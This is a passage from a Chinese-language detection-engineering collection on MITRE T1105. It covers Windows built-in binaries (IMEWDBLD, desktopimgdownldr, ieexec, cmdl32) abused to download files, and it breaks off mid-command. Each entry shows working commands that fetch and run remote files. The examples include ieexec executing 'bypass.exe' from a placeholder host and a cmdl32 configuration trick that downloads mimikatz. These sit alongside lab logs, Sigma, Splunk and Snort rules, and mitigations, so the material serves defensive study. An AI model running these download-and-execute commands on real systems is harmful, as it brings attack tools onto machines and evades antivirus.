https://attack.mitre.org/techniques/T1105 - Finger.exe https://lolbas-project.github.io/lolbas/Binaries/Finger/ - Finger使用方法 https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11) - Sigma: win_susp_finger_usage https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_finger_usage.yml ================================================ FILE: Windows/12命令与控制/T1105-win-入口工具转移-IMEWDBLD.exe(白名单).md ================================================ # T1105-Win-入口工具转移-IMEWDBLD.exe(白名单) ## 描述 攻击者可能通过命令和控制通道从外部系统将工具或其他文件转移到被攻击的环境中,以将恶意工具或有效载荷引入目标网络。文件传输可通过专用工具(如FTP)或替代协议(如scp、rsync、sftp)实现,适用于Windows、Mac和Linux系统。攻击者常利用系统内置的白名单工具(如`IMEWDBLD.exe`)来规避传统防病毒检测。 ## 测试案例 `IMEWDBLD.exe`是微软拼音输入法的开放扩展字典模块,位于`C:\Windows\System32\IME\SHARED\IMEWDBLD.exe`,主要用于下载字典文件。攻击者可通过指定远程URL,下载任意文件到隐藏路径`C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE\[随机值]`。 ### 路径 ```yml - C:\Windows\System32\IME\SHARED\IMEWDBLD.exe ``` ### 示例命令 从远程服务器下载文件: ```yml C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw ``` ### 用例 - 从互联网下载任意文件(如恶意可执行文件)。 - 所需权限:用户权限。 - 操作系统:Windows 10。 ### 查找下载文件路径 ```yml forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path" ``` > **参数说明** > /P:指定搜索的起始路径,默认当前工作目录 (.)。 > /S:递归搜索子目录,类似“DIR /S”。 > /M:按搜索掩码查找文件,默认掩码为 '*'。 > /C:为每个文件执行的命令,需用双引号括起来。 > @path:返回文件的完整路径。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`IMEWDBLD.exe`进程创建及命令行参数(需启用命令行审核)。 ### Sysmon日志 - **事件ID 1**:捕获`IMEWDBLD.exe`进程创建及命令行参数。 - **事件ID 3**:记录`IMEWDBLD.exe`发起的HTTP/HTTPS网络连接(目标IP/端口)。 - **事件ID 11**:记录下载文件创建事件(如`C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE\[随机值]\`)。 ### 网络日志 - 捕获`IMEWDBLD.exe`发起的HTTP/HTTPS请求,检查目标URL是否异常。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10。 - **权限**:用户权限(无需管理员)。 - **工具**: - `IMEWDBLD.exe`(系统自带,路径`C:\Windows\System32\IME\SHARED\IMEWDBLD.exe`)。 - Sysmon(用于进程和文件监控)。 - Wireshark(用于网络流量捕获)。 - 测试Web服务器(提供可控URL)。 - **网络**:允许HTTP/HTTPS出站流量,建议在隔离网络中测试。 - **日志**:启用Windows安全日志和Sysmon日志。 ### 攻击步骤 1. **执行下载命令**: ```bash C:\Users\liyang>C:\Windows\System32\IME\BASH\IMEWDBLD.exe https://dldir1.qq.com/qqfile/qq/PCQQ9.5.9/QQ9.5.9.28650.exe ``` - 命令从指定URL下载文件,保存至`C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE\[随机值]\`。 - **注意**:Windows可能弹窗提示失败,忽略即可,文件已下载成功。 2. **验证下载文件**: ```bash C:\Users\liyang>forfiles /P "%localappdata%\Microsoft\Windows\INetCache" /S /M * /C "cmd /c echo @path" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\Content.IE5" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\Low" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\Virtualized" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\container.dat" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\EG7SF236" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\JKCC1BIU" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\EG7SF236\DisabledFlights[1].cache" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\EG7SF236\dyntelconfig[2].cache" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\EG7SF236\RemoteSettings_Installer[1].cache" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\EG7SF236\ShippedFlights[1].cache" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\EG7SF236\tdyShwLw[1].txt" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\EG7SF236\views[1]" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\EG7SF236\windows-app-web-link[1].json" "C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\JKCC1BIU\QQ9.5.9.28650[1].exe" ``` 3. **清理**: - 删除下载文件(如`del C:\Users\liyang\AppData\Local\Microsoft\Windows\INetCache\IE\JKCC1BIU\QQ9.5.9.28650[1].exe`)。 ## 测试留痕 以下为Windows安全日志示例(事件ID 4688): ```yml 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 进程信息: 新进程 ID: 0x2278 新进程名称: C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x1ca8 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: C:\Windows\System32\IME\SHARED\IMEWDBLD.exe https://dldir1.qq.com/qqfile/qq/PCQQ9.5.9/QQ9.5.9.28650.exe ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测`IMEWDBLD.exe`的异常下载行为: ```yml title: IMEWDBLD.exe Suspicious Invocation id: b9e4c7f2-1a3b-4e5f-9c8d-3e2f5a6b7c9d status: experimental description: Detects suspicious execution of IMEWDBLD.exe, which can be used to download files from a remote URL author: 12306Br0 date: 2022/04/20 references: - https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/ - https://cloud.tencent.com/developer/article/1848645 logsource: product: windows category: process_creation detection: selection: Image|endswith: '\IMEWDBLD.exe' CommandLine|contains: 'http' condition: selection falsepositives: - Legitimate dictionary file downloads by Microsoft Pinyin IME level: medium ``` ### 检测思路 1. **进程监控**: - 检查`IMEWDBLD.exe`的命令行参数是否包含HTTP/HTTPS URL。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)。 2. **文件监控**: - 检测文件创建事件,重点关注`C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE\[随机值]\`路径下的非字典文件(如`.exe`)。 3. **网络监控**: - 捕获`IMEWDBLD.exe`发起的HTTP/HTTPS请求,检查目标URL是否为非微软官方服务器。 4. **行为监控**: - 检测`IMEWDBLD.exe`是否在非输入法更新场景下运行。 5. **关联分析**: - 结合Sysmon事件ID 1(进程创建)、3(网络连接)和11(文件创建)进行关联,识别完整攻击链。 ### 检测建议 - **告警规则**:基于Sigma规则,配置SIEM系统(如Splunk、Elastic)检测`IMEWDBLD.exe`的异常命令行参数和文件创建。 - **基线对比**:建立`IMEWDBLD.exe`的正常使用基线(如下载微软官方字典文件),排除合法行为。 - **网络白名单**:限制`IMEWDBLD.exe`的出站流量,仅允许访问微软官方服务器。 - **文件完整性监控**:监控`INetCache\IE`目录下的文件,检测异常文件类型。 ## 缓解措施 1. **限制网络访问**: - 配置防火墙,限制`IMEWDBLD.exe`的出站HTTP/HTTPS流量,仅允许访问微软官方服务器。 2. **加强日志监控**: - 启用命令行参数记录和Sysmon日志,覆盖进程、网络和文件操作。 3. **白名单管理**: - 使用应用白名单工具(如AppLocker)限制`IMEWDBLD.exe`的执行场景。 4. **权限管理**: - 限制普通用户运行`IMEWDBLD.exe`,仅允许输入法相关进程调用。 5. **定期审查**: - 检查`IMEWDBLD.exe`的异常使用记录,结合威胁情报分析潜在风险。 ## 参考推荐 - MITRE ATT&CK T1105 https://attack.mitre.org/techniques/T1105 - IMEWDBLD.exe https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/ - IMEWDBLD.exe ByPass360 下载文件 https://cloud.tencent.com/developer/article/1848645 ================================================ FILE: Windows/12命令与控制/T1105-win-入口工具转移-desktopimgdownldr.exe(白名单).md ================================================ # T1105-Win-入口工具转移-desktopimgdownldr.exe(白名单) ## 描述 攻击者可能会将工具或其他文件从外部系统转移到被攻击的环境中。文件可以通过命令和控制通道从外部攻击者控制的系统复制,以将工具引入被攻击的网络中,也可通过其他工具(如FTP)或替代协议(如scp、rsync、sftp)在Mac和Linux上复制文件。 ## 测试案例 `desktopimgdownldr.exe`是Windows 10系统中位于`C:\Windows\System32\`的内置工具,原本用于设置锁定屏幕或桌面背景图像。攻击者可利用其`/lockscreenurl`参数从远程URL下载任意文件。 ### 路径 ```bash - C:\Windows\System32\desktopimgdownldr.exe ``` ### 示例命令 - **普通用户下载文件**(无需管理员权限): ```bash set "SYSTEMROOT=C:\ProgramData" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr ``` - **管理员下载并清理注册表**(包含注册表操作): ```bash set "SYSTEMROOT=C:\ProgramData\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr && reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f ``` ### 用例 - 从Web服务器下载任意文件(如恶意可执行文件)。 - 所需权限:普通用户权限。 - 操作系统:Windows 10。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`desktopimgdownldr.exe`进程创建及命令行参数(需启用命令行审核)。 ### Sysmon日志 - **事件ID 1**:捕获`desktopimgdownldr.exe`进程创建及命令行参数。 - **事件ID 11**:记录文件创建事件,例如下载的文件存储路径(如`C:\Users\Username\AppData\Local\Temp\Personalization\LockScreenImage\`)。 ```yml EventID: 11 UtcTime: 2020-07-03 08:47:21.485 ProcessGuid: {747F3D96-2178-5efe-0000-0010aada5800} ProcessId: 1556 Image: C:\Windows\System32\svchost.exe TargetFilename: C:\Users\IEUser\AppData\Local\Temp\Personalization\LockScreenImage\LockScreenImage CreationUtcTime: 2020-07-03 08:47:21.485 ``` ### 网络日志 - 捕获`desktopimgdownldr.exe`发起的HTTP/HTTPS请求,检查目标URL是否异常。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10。 - **权限**:普通用户权限(无需管理员)。 - **工具**: - `desktopimgdownldr.exe`(系统自带,路径`C:\Windows\System32\desktopimgdownldr.exe`)。 - Sysmon(用于进程和文件监控)。 - Wireshark(用于网络流量捕获)。 - 测试Web服务器(提供可控URL)。 - **网络**:允许HTTPS出站流量,建议在隔离网络中测试。 - **日志**:启用Windows安全日志和Sysmon日志。 ### 攻击步骤 1. **执行下载命令**: ```bash set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr ``` - 命令通过`lockscreenurl`参数从`https://domain.com:8080/file.ext`下载文件,保存至默认路径(如`C:\Users\Username\AppData\Local\Temp\Personalization\LockScreenImage\`)。 2. **验证结果**: - 检查下载文件是否生成于指定或默认路径。 - 使用Wireshark捕获HTTP/HTTPS请求,确认目标URL。 3. **清理**: - 删除下载文件(如`del C:\Windows\Temp\file.ext`)。 ## 测试留痕 以下为Windows安全日志示例(事件ID 4688): ```yml 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x24a4 新进程名称: C:\Windows\System32\desktopimgdownldr.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x2588 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则(`win_susp_desktopimgdownldr_file`),检测`desktopimgdownldr.exe`的异常文件创建行为: ```yml title: Suspicious Desktopimgdownldr Target File id: fc4f4817-0c53-4683-a4ee-b17a64bc1039 status: experimental description: Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension author: Florian Roth date: 2020/07/03 references: - https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/ - https://twitter.com/SBousseaden/status/1278977301745741825 logsource: product: windows category: file_event tags: - attack.defense_evasion - attack.t1105 detection: selection: Image|endswith: svchost.exe TargetFilename|contains: '\Personalization\LockScreenImage\' filter1: TargetFilename|contains: 'C:\Windows\' filter2: TargetFilename|contains: - '.jpg' - '.jpeg' - '.png' condition: selection and not filter1 and not filter2 fields: - CommandLine - ParentCommandLine falsepositives: - False positives depend on scripts and administrative tools used in the monitored environment level: high ``` ### 检测思路 1. **进程监控**: - 检查`desktopimgdownldr.exe`的命令行参数是否包含`/lockscreenurl`和HTTP/HTTPS URL。 - 监控异常父进程(如`cmd.exe`)。 2. **文件监控**: - 检测`desktopimgdownldr.exe`创建的文件是否位于非预期路径(如`C:\Users\Username\AppData\Local\Temp\Personalization\LockScreenImage\`)。 - 识别非图像文件扩展名(如`.exe`、`.dll`)。 3. **网络监控**: - 捕获`desktopimgdownldr.exe`发起的HTTP/HTTPS请求,重点关注非微软官方URL。 4. **异常行为**: - 检测`desktopimgdownldr.exe`在非锁定屏幕更新场景下的运行。 5. **关联分析**: - 结合Sysmon事件ID 1(进程创建)和11(文件创建)进行关联,识别下载行为。 ### 检测建议 - **告警规则**:基于Sigma规则,配置SIEM系统(如Splunk、Elastic)检测`desktopimgdownldr.exe`的异常参数和文件创建。 - **基线对比**:建立`desktopimgdownldr.exe`的正常使用基线(如更新锁定屏幕图像),排除合法行为。 - **网络白名单**:限制`desktopimgdownldr.exe`的出站流量,仅允许访问微软官方图像服务器。 - **文件完整性监控**:监控下载文件,检测非图像文件类型。 ## 缓解措施 1. **限制网络访问**: - 配置防火墙,限制`desktopimgdownldr.exe`的出站HTTP/HTTPS流量,仅允许访问微软官方URL。 2. **加强日志监控**: - 启用命令行参数记录和Sysmon日志,覆盖进程和文件操作。 3. **白名单管理**: - 使用应用白名单工具(如AppLocker)限制`desktopimgdownldr.exe`的执行场景。 4. **用户权限管理**: - 限制普通用户修改锁定屏幕设置,需管理员审核。 5. **定期审查**: - 检查系统内`desktopimgdownldr.exe`的异常使用记录,结合威胁情报分析风险。 ## 参考推荐 - MITRE ATT&CK T1105 https://attack.mitre.org/techniques/T1105 ================================================ FILE: Windows/12命令与控制/T1105-win-入口工具转移-ieexec.exe (白名单).md ================================================ # T1105-Win-入口工具转移-ieexec.exe(白名单) ## 描述 攻击者可能通过命令和控制通道从外部系统将工具或其他文件转移到被攻击的环境中,以将恶意工具或有效载荷引入目标网络。文件传输可通过专用工具(如FTP)或替代协议(如scp、rsync、sftp)实现,适用于Windows、Mac和Linux系统。攻击者常利用系统内置的白名单工具(如`ieexec.exe`)来规避传统防病毒检测。 ## 测试案例 `ieexec.exe`是.NET Framework附带的应用程序,位于`C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe`或`C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe`,用于执行从远程URL加载的托管.NET应用程序。攻击者可利用其直接从远程服务器下载并运行恶意代码,绕过安全机制。 ### 路径 ```yml - C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe ``` ### 示例命令 从远程服务器下载并执行`bypass.exe`: ```yml ieexec.exe http://x.x.x.x:8080/bypass.exe ``` ### 用例 - 从远程位置下载并运行攻击者控制的恶意代码。 - 所需权限:用户权限。 - 操作系统:Windows Vista、Windows 7、Windows 8、Windows 8.1、Windows 10。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`ieexec.exe`进程创建及命令行参数(需启用命令行审核)。 ### Sysmon日志 - **事件ID 1**:捕获`ieexec.exe`进程创建及命令行参数。 - **事件ID 3**:记录`ieexec.exe`发起的HTTP/HTTPS网络连接(目标IP/端口)。 - **事件ID 11**:记录可能的恶意文件创建(若下载内容被保存)。 ### 网络日志 - 捕获`ieexec.exe`发起的HTTP/HTTPS请求,检查目标URL是否异常。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10。 - **权限**:用户权限(无需管理员)。 - **工具**: - `ieexec.exe`(系统自带,路径`C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe`或`C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe`)。 - Sysmon(用于进程和网络监控)。 - Wireshark(用于网络流量捕获)。 - 测试Web服务器(提供可控URL)。 - **网络**:允许HTTP/HTTPS出站流量,建议在隔离网络中测试。 - **日志**:启用Windows安全日志和Sysmon日志。 ### 攻击步骤 1. **执行下载命令**: ```bash C:\Users\liyang>C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe http://x.x.x.x:8080/bypass.exe ``` - 命令从指定URL下载并执行`bypass.exe`。 - 注意:直接运行`ieexec.exe`可能提示“不是内部或外部命令”,需指定完整路径。。 ## 测试留痕 ```yml 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 进程信息: 新进程 ID: 0x1a24 新进程名称: C:\Windows\Microsoft.NET\Framework\v2.0.50727\IEExec.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x1410 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe https://xxx/QQ.exe ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测`ieexec.exe`的异常执行行为: ```yml title: ieexec.exe Suspicious Invocation id: 7f2b3e5a-9c1d-4b7e-a2f3-8c9e4d7b3c2a status: experimental description: Detects suspicious execution of ieexec.exe, which can be used to download and run malicious code from a remote URL author: 12306Br0 date: 2022/04/20 references: - https://www.codercto.com/a/104908.html - https://lolbas-project.github.io/lolbas/Binaries/Ieexec/ logsource: product: windows category: process_creation detection: selection: Image|endswith: '\ieexec.exe' CommandLine|contains: 'http' condition: selection falsepositives: - Legitimate use of ieexec.exe for loading trusted .NET applications level: medium ``` ### 检测思路 1. **进程监控**: - 检查`ieexec.exe`的命令行参数是否包含HTTP/HTTPS URL。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)。 2. **网络监控**: - 检测`ieexec.exe`发起的HTTP/HTTPS请求,重点关注非预期目标URL。 3. **行为监控**: - 检测`ieexec.exe`是否加载了非预期的.NET应用程序。 4. **关联分析**: - 结合Sysmon事件ID 1(进程创建)、3(网络连接)和可能的11(文件创建)进行关联,识别完整攻击链。 ### 检测建议 - **告警规则**:基于Sigma规则,配置SIEM系统(如Splunk、Elastic)检测`ieexec.exe`的异常命令行参数和网络活动。 - **基线对比**:建立`ieexec.exe`的正常使用基线(通常在开发环境中加载受信任的.NET应用),排除合法行为。 - **网络白名单**:限制`ieexec.exe`的出站流量,仅允许访问已知合法服务器。 - **文件完整性监控**:监控`ieexec.exe`下载的文件,检测异常文件类型(如`.exe`)。 ## 缓解措施 1. **限制网络访问**: - 配置防火墙,限制`ieexec.exe`的出站HTTP/HTTPS流量,仅允许访问受信任的服务器。 2. **加强日志监控**: - 启用命令行参数记录和Sysmon日志,覆盖进程、网络和文件操作。 3. **白名单管理**: - 使用应用白名单工具(如AppLocker)限制`ieexec.exe`的执行场景。 4. **权限管理**: - 限制普通用户运行`ieexec.exe`,仅允许开发或受信任账户使用。 5. **定期审查**: - 检查系统内`ieexec.exe`的异常使用记录,结合威胁情报分析潜在风险。 ## 参考推荐 - MITRE ATT&CK T1105 https://attack.mitre.org/techniques/T1105 - ieexec.exe https://lolbas-project.github.io/lolbas/Binaries/Ieexec/ - 远控免杀专题(46)-白名单IEexec.exe执行payload https://www.codercto.com/a/104908.html ================================================ FILE: Windows/12命令与控制/T1105-win-利用cmdl32进行文件下载行为(白名单).md ================================================ # T1105-Win-利用cmdl32进行文件下载行为(白名单) ## 描述 攻击者利用合法工具(如`cmdl32.exe`)从外部系统将工具或恶意文件下载到被攻陷的环境中(T1105)。`cmdl32.exe`是Windows连接管理器管理工具包(CMAK)的一部分,用于设置拨号或VPN连接的配置文件。攻击者可通过伪装配置文件(如`settings.txt`)中的`UpdateUrl`字段,诱导`cmdl32.exe`从指定URL下载文件,伪装成正常更新行为。由于`cmdl32.exe`是系统自带工具,属于白名单程序,常被用于规避传统防病毒软件检测。 此技术可通过命令与控制(C2)通道或替代协议(如HTTP)下载文件,适用于初始访问后的工具部署或持久化。检测重点在于监控`cmdl32.exe`的异常命令行参数、可疑网络连接及配置文件操作。 ## 测试案例 cmdl32.exe,CMAK(连接管理器管理工具包)使用它来设置连接管理器服务配置文件。配置文件通常打包成一个.exe,可以部署到用户系统。该软件包安装可用于启动拨号/VPN连接的配置文件。 ### 步骤一 使用以下命令并且生成相关配置文件。 ```yml icacls %cd% /deny %username%:(OI)(CI)(DE,DC) set tmp=%cd% echo [Connection Manager] > settings.txt echo CMSFile=settings.txt >> settings.txt echo ServiceName=WindowsUpdate >> settings.txt echo TunnelFile=settings.txt >> settings.txt echo [Settings] >> settings.txt echo UpdateUrl=http://10.211.55.2:8000/mimikatz.exe >> settings.txt ``` ### 步骤二 然后继续执行即可下载成功。 ```yml cmdl32 /vpn /lan %cd%\settings.txt icacls %cd% /remove:d %username% move VPNBDFF.tmp mimikatz.exe ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`cmdl32.exe`、`icacls.exe`等进程创建及命令行参数。 **Sysmon日志** - **事件ID 1**:记录进程创建,捕获`cmdl32.exe`的命令行(如包含`settings.txt`)。 - **事件ID 3**:记录网络连接,捕获`cmdl32.exe`的HTTP请求(目标IP/端口)。 - **事件ID 11**:记录配置文件(如`settings.txt`)或临时文件(如`VPN*.tmp`)创建。 **PowerShell日志** - **事件ID 4104**:记录PowerShell脚本执行(如自动化创建`settings.txt`)。 **网络日志** - 捕获`cmdl32.exe`发起的HTTP流量(如向非预期URL的GET请求)。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用PowerShell日志:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。 - 配置Sysmon监控`cmdl32.exe`及网络连接: ```xml cmdl32.exe ``` - 配置IDS/IPS记录HTTP流量。 ## 测试复现 windows server 2016进行测试,测试效果Ok。 ```yml C:\Users\Administrator>cd C:\Users\Administrator\Desktop\test C:\Users\Administrator\Desktop\test>icacls %cd% /deny %username%:(OI)(CI)(DE,DC) 已处理的文件: C:\Users\Administrator\Desktop\test 已成功处理 1 个文件; 处理 0 个文件时失败 C:\Users\Administrator\Desktop\test>set tmp=%cd% C:\Users\Administrator\Desktop\test>echo [Connection Manager] > settings.txt C:\Users\Administrator\Desktop\test>echo CMSFile=settings.txt >> settings.txt C:\Users\Administrator\Desktop\test>echo ServiceName=WindowsUpdate >> settings.txt C:\Users\Administrator\Desktop\test>echo TunnelFile=settings.txt >> settings.txt C:\Users\Administrator\Desktop\test>echo [Settings] >> settings.txt C:\Users\Administrator\Desktop\test>echo UpdateUrl=http://10.211.55.2:8000/mimikatz.exe >> settings.txt C:\Users\Administrator\Desktop\test>cmdl32 /vpn /lan %cd%\settings.txt C:\Users\Administrator\Desktop\test>icacls %cd% /remove:d %username% 已处理的文件: C:\Users\Administrator\Desktop\test 已成功处理 1 个文件; 处理 0 个文件时失败 C:\Users\Administrator\Desktop\test>move VPND1F2.tmp mimikatz.exe 移动了 1 个文件。 ``` ## 测试留痕 ### 日志记录1 ```log 创建新进程。4688,windows安全日志 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0xCF2BF2 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x40e0 新进程名称: C:\Windows\System32\icacls.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x688 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: icacls C:\Users\wangxin\Desktop\test /deny Administrator:(OI)(CI)(DE,DC) ``` ### 日志记录二 ```log 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0xCF2BF2 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x12c18 新进程名称: C:\Windows\System32\cmdl32.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x688 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: cmdl32 /vpn /lan C:\Users\wangxin\Desktop\test\settings.txt ``` ### 日志记录三 ```log 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0xE991EB 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x133b8 新进程名称: C:\Windows\System32\icacls.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x12fac 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: icacls C:\Users\wangxin\Desktop\test /remove:d Administrator ``` ## 检测规则/思路 **检测规则** 通过监控`cmdl32.exe`的异常命令行、网络连接及配置文件操作,检测恶意文件下载行为。以下是具体思路: 1. **日志分析**: - 监控Windows安全日志事件ID 4688,检测`cmdl32.exe`执行及命令行(如包含`settings.txt`)。 - 监控Sysmon事件ID 1,检测`cmdl32.exe`进程创建及命令行参数。 - 监控Sysmon事件ID 3,检测`cmdl32.exe`的HTTP连接(非预期URL)。 - 监控Sysmon事件ID 11,检测`settings.txt`或`VPN*.tmp`文件创建。 - 监控PowerShell日志事件ID 4104,检测自动化创建配置文件的行为。 - 检查Netflow,检测`cmdl32.exe`发起的异常HTTP流量。 2. **Sigma规则(Cmdl32文件下载)**: ```yaml title: 利用cmdl32进行文件下载行为检测 id: g12345678-abcd-9012-3456-78901234klmn status: stable description: 检测攻击者利用cmdl32.exe通过伪造配置文件下载恶意文件 references: - https://attack.mitre.org/techniques/T1105/ - https://www.t00ls.cc/thread-63254-1-1.html tags: - attack.command_and_control - attack.execution - attack.t1105 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\cmdl32.exe' CommandLine|contains: 'settings.txt' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法CMAK配置文件更新 - 管理员网络配置 level: high ``` 3. **Sigma规则(配置文件创建)**: ```yaml title: Cmdl32配置文件创建检测 id: h23456789-abcd-0123-4567-89012345opqr status: experimental description: 检测cmdl32相关配置文件(如settings.txt)的创建 logsource: product: windows service: sysmon detection: selection: EventID: 11 TargetFilename|endswith: '\settings.txt' condition: selection fields: - Image - TargetFilename - User falsepositives: - 合法CMAK配置文件 level: medium ``` 4. **SIEM规则**: - 检测`cmdl32.exe`异常行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=1 Image="*cmdl32.exe" CommandLine="*settings.txt*") OR (EventID=3 Image="*cmdl32.exe") OR (EventID=11 TargetFilename="*settings.txt")) OR (source="WinEventLog:Security" EventCode=4688 Image="*cmdl32.exe") | stats count by Image, CommandLine, DestinationIp, DestinationPort, TargetFilename, User, ComputerName ``` 5. **网络流量分析**: - 检查`cmdl32.exe`的HTTP请求: ```bash tshark -f "tcp port 8000" -Y "http.request" ``` - 使用IDS规则检测异常HTTP流量: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 80,8000 (msg:"Suspicious Cmdl32 HTTP Request"; content:"cmdl32"; sid:1000009;) ``` 6. **工具支持**: - 使用Wireshark分析`cmdl32.exe`的HTTP流量。 - 使用Sysinternals Process Monitor捕获`cmdl32.exe`的文件和网络活动。 - 使用EDR工具(如CrowdStrike、Carbon Black)监控`cmdl32.exe`行为。 7. **威胁情报整合**: - 检查下载URL或文件哈希是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御`cmdl32.exe`恶意下载需从工具限制、网络监控和文件控制入手: 1. **限制Cmdl32执行** - 使用AppLocker限制`cmdl32.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "%SystemRoot%\System32\cmdl32.exe" -Action Deny -User "Everyone" ``` 2. **限制网络访问** - 配置防火墙阻止`cmdl32.exe`出站HTTP: ```powershell New-NetFirewallRule -DisplayName "Block Cmdl32 HTTP" -Direction Outbound -Action Block -Program "%SystemRoot%\System32\cmdl32.exe" -Protocol TCP -RemotePort 80,8000 ``` 3. **监控配置文件** - 配置Sysmon监控`settings.txt`创建: ```xml settings.txt ``` - 使用文件完整性监控(FIM)检测异常配置文件。 4. **加强日志监控** - 启用Sysmon事件ID 1、3、11和Windows事件ID 4688,检测`cmdl32.exe`行为。 - 配置SIEM实时告警`cmdl32.exe`执行或异常HTTP请求。 - 使用EDR工具监控白名单程序滥用。 5. **定期审计** - 检查`cmdl32.exe`执行: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | 